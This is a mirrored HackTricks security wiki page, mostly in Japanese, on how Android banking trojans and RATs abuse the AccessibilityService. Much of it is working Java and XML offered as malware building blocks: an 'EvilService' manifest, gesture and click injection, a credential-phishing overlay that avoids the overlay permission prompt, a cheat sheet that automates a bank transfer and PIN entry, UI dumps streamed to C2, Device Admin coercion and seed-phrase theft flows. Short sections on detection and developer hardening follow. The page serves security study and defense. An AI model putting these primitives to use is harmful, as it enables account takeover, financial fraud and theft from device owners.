mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
233 lines
13 KiB
Markdown
233 lines
13 KiB
Markdown
# Android Accessibility Service Abuse
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Overview
|
||
|
||
`AccessibilityService` は、障害を持つユーザーが Android デバイスとやり取りするのを支援するために作られました。残念ながら、同じく強力な **automation APIs**(グローバルナビゲーション、テキスト入力、ジェスチャー送出、オーバーレイウィンドウ…)は、マルウェアによって悪用され、`root` 権限なしで端末を**完全にリモート制御**するために利用され得ます。
|
||
|
||
最新の Android バンキングトロイの木馬や Remote-Access-Trojans (RATs)、例えば **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** などは、同じ手口を踏襲しています:
|
||
|
||
1. 被害者をソーシャルエンジニアリングで誘導し、悪意ある accessibility service を有効化させる(*BIND_ACCESSIBILITY_SERVICE* 権限は「high-risk」と見なされ、明示的なユーザー操作が必要です)。
|
||
2. サービスを利用して
|
||
* 画面に表示されるすべての UI イベントとテキストをキャプチャする、
|
||
* 合成ジェスチャー(`dispatchGesture`)やグローバルアクション(`performGlobalAction`)を注入して、攻撃者が望む任意のタスクを自動化する、
|
||
* 正規のアプリの上にフルスクリーンオーバーレイを描画する(ウィンドウタイプ **TYPE_ACCESSIBILITY_OVERLAY** を使用。`SYSTEM_ALERT_WINDOW` のプロンプトは不要!)、
|
||
* システムダイアログ上のボタンを被害者に代わってクリックすることで、追加のランタイム権限をサイレントに付与する。
|
||
3. データを流出させるか、ユーザーが普通の画面を見ている間にリアルタイムで**デバイス上での詐欺(On-Device-Fraud、ODF)**を実行する。
|
||
|
||
---
|
||
|
||
## Requesting the permission
|
||
```xml
|
||
<!-- AndroidManifest.xml -->
|
||
<service
|
||
android:name="com.evil.rat.EvilService"
|
||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||
android:exported="false">
|
||
|
||
<intent-filter>
|
||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||
</intent-filter>
|
||
|
||
<meta-data android:name="android.accessibilityservice"
|
||
android:resource="@xml/evil_accessibility_config"/>
|
||
</service>
|
||
```
|
||
コンパニオンXMLは、偽のダイアログの見た目を定義します:
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||
android:description="@string/service_description"
|
||
android:accessibilityEventTypes="typeAllMask"
|
||
android:accessibilityFeedbackType="feedbackGeneric"
|
||
android:notificationTimeout="200"
|
||
android:canPerformGestures="true"
|
||
android:canRetrieveWindowContent="true"/>
|
||
```
|
||
---
|
||
|
||
## リモートUI自動化の基本操作
|
||
```java
|
||
public class EvilService extends AccessibilityService {
|
||
@Override
|
||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||
// harvest text or detect foreground app change
|
||
}
|
||
|
||
// Simulate HOME / BACK / RECENTS …
|
||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||
|
||
// Generic tap / swipe
|
||
public void tap(float x, float y) {
|
||
Path p = new Path(); p.moveTo(x, y);
|
||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||
}
|
||
}
|
||
```
|
||
これら2つのAPIsだけで攻撃者は次のことができる:
|
||
* 画面ロックを解除し、銀行アプリを開き、そのUIツリーを辿って振込フォームを送信する。
|
||
* 表示されるすべての権限ダイアログを承認する。
|
||
* Play Store intent経由で追加のAPKをインストール/更新する。
|
||
|
||
---
|
||
|
||
## 悪用パターン
|
||
|
||
### 1. Overlay Phishing (Credential Harvesting)
|
||
透明または不透明な `WebView` が window manager に追加される:
|
||
```java
|
||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||
MATCH_PARENT, MATCH_PARENT,
|
||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||
PixelFormat.TRANSLUCENT);
|
||
wm.addView(phishingView, lp);
|
||
```
|
||
被害者は偽フォームに資格情報を入力している間、バックグラウンドのアプリが同じジェスチャを受け取り—「draw over other apps」という怪しいプロンプトは一切表示されません。
|
||
|
||
> 詳細な例: *Accessibility Overlay Phishing* セクション(Tapjacking ページ内)。
|
||
|
||
### 2. On-Device Fraud automation
|
||
マルウェアファミリー(例: **PlayPraetor**)は、オペレータが高レベルのコマンド(`init`, `update`, `alert_arr`, `report_list`, …)を発行できる永続的な WebSocket チャネルを維持します。サービスはそれらのコマンドを上記の低レベルなジェスチャに変換し、そのデバイスに紐づいた多要素認証を容易にバイパスするリアルタイムの不正トランザクションを実現します。
|
||
|
||
### 3. Screen streaming & monitoring
|
||
**MediaProjection API** と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを `rtmp://<c2>:1935/live/<device_id>` にブロードキャストでき、Accessibility エンジンが UI を操作している間も攻撃者に完璧な状況認識を提供します。
|
||
|
||
---
|
||
|
||
## PlayPraetor – コマンド&コントロールのワークフロー
|
||
|
||
1. **HTTP(S) heartbeat** – ハードコードされたリストを順に試し、あるドメインが `POST /app/searchPackageName` にアクティブな C2 を返すまで繰り返す。
|
||
2. **WebSocket (port 8282)** – 双方向の JSON コマンド:
|
||
* `update` – 新しい conf/APKs をプッシュ
|
||
* `alert_arr` – overlay テンプレートを設定
|
||
* `report_list` – ターゲットパッケージ名の一覧を送信
|
||
* `heartbeat_web` – keep-alive
|
||
3. **RTMP (port 1935)** – ライブ画面/ビデオのストリーミング。
|
||
4. **REST exfiltration** –
|
||
* `/app/saveDevice`(フィンガープリント)
|
||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||
* `/app/saveCardPwd`(銀行認証情報)
|
||
|
||
ローカルエンジンである **AccessibilityService** が、これらのクラウドコマンドを物理的な操作に変換します。
|
||
|
||
---
|
||
|
||
## Detecting malicious accessibility services
|
||
|
||
* `adb shell settings get secure enabled_accessibility_services`
|
||
* Settings → Accessibility → *Downloaded services* – Google Play から配布されていないアプリを探す。
|
||
* MDM / EMM ソリューションは `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) を適用して sideloaded サービスをブロックできます。
|
||
* 実行中のサービスを解析:
|
||
```bash
|
||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||
```
|
||
|
||
---
|
||
|
||
## Hardening recommendations for app developers
|
||
|
||
* 敏感な View に `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` を設定する(API 34+)。
|
||
* `setFilterTouchesWhenObscured(true)` を `FLAG_SECURE` と組み合わせて、tap/overlay hijacking を防ぐ。
|
||
* `WindowManager.getDefaultDisplay().getFlags()` や `ViewRootImpl` API をポーリングして overlays を検出する。
|
||
* `Settings.canDrawOverlays()` が有効、または信頼できない Accessibility サービスがアクティブな場合は動作を拒否する。
|
||
|
||
---
|
||
|
||
## ATS 自動化 チートシート (Accessibility-driven)
|
||
Malware は Accessibility APIs のみで銀行アプリを完全自動化できます。汎用プリミティブ:
|
||
```java
|
||
// Helpers inside your AccessibilityService
|
||
private List<AccessibilityNodeInfo> byText(String t){
|
||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||
}
|
||
private boolean clickText(String t){
|
||
for (AccessibilityNodeInfo n: byText(t)){
|
||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||
AccessibilityNodeInfo p = n.getParent();
|
||
if (p != null) return p.performAction(ACTION_CLICK);
|
||
}
|
||
return false;
|
||
}
|
||
private void inputText(AccessibilityNodeInfo field, String text){
|
||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||
field.performAction(ACTION_SET_TEXT, b);
|
||
}
|
||
private void tap(float x, float y){
|
||
Path p = new Path(); p.moveTo(x,y);
|
||
dispatchGesture(new GestureDescription.Builder()
|
||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||
}
|
||
```
|
||
例のフロー(チェコ語 → 英語ラベル):
|
||
- "Nová platba" (新しい支払い) → クリック
|
||
- "Zadat platbu" (支払いを入力) → クリック
|
||
- "Nový příjemce" (新しい受取人) → クリック
|
||
- "Domácí číslo účtu" (国内口座番号) → フォーカスして `ACTION_SET_TEXT`
|
||
- "Další" (次へ) → クリック → … "Zaplatit" (支払う) → クリック → PINを入力
|
||
|
||
フォールバック: カスタムウィジェットのためにテキスト検索が失敗した場合、`dispatchGesture` を使ったハードコードされた座標。
|
||
|
||
また、転送前に limits UI をナビゲートして日次制限を引き上げることで、`check_limit` と `limit` への事前ステップが見られることもある。
|
||
|
||
## テキストベースの疑似スクリーンストリーミング
|
||
低遅延のリモート制御のため、フル動画ストリーミングの代わりに現在のUIツリーのテキスト表現をダンプしてそれを繰り返しC2に送る。
|
||
```java
|
||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||
if (n==null) return;
|
||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||
sb.append(indent).append("[").append(cls).append("] ")
|
||
.append(txt==null?"":txt).append(" ")
|
||
.append(b.toShortString()).append("\n");
|
||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||
}
|
||
```
|
||
これは `txt_screen`(単発)や `screen_live`(継続)のようなコマンドの基礎です。
|
||
|
||
## Device Admin 強制プリミティブ
|
||
Device Admin receiver が有効化されると、これらの呼び出しにより資格情報を取得したり制御を維持したりする機会が増えます:
|
||
```java
|
||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||
|
||
// 1) Immediate lock
|
||
dpm.lockNow();
|
||
|
||
// 2) Force credential change (expire current PIN/password)
|
||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||
|
||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||
```
|
||
Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing.
|
||
|
||
## Crypto wallet seed-phrase extraction patterns
|
||
MetaMask、Trust Wallet、Blockchain.com、Phantom に対して観測されたフロー:
|
||
- 盗まれた PIN(overlay/Accessibility 経由で取得)または提供されたウォレットパスワードでアンロック。
|
||
- 操作: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||
- テキストノードの keylogging、secure-screen bypass、またはテキストが隠されている場合は screenshot OCR によってフレーズを収集。
|
||
- セレクタを安定させるために複数ロケール (EN/RU/CZ/SK) をサポートする — 利用可能なら `viewIdResourceName` を優先し、なければ多言語テキストマッチングにフォールバックする。
|
||
|
||
## NFC-relay orchestration
|
||
Accessibility/RAT モジュールは、第3段階として専用の NFC-relay アプリ(例: NFSkate)をインストール・起動し、overlay ガイドを注入して被害者を card-present リレー手順に導くこともできる。
|
||
|
||
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||
|
||
---
|
||
|
||
## References
|
||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|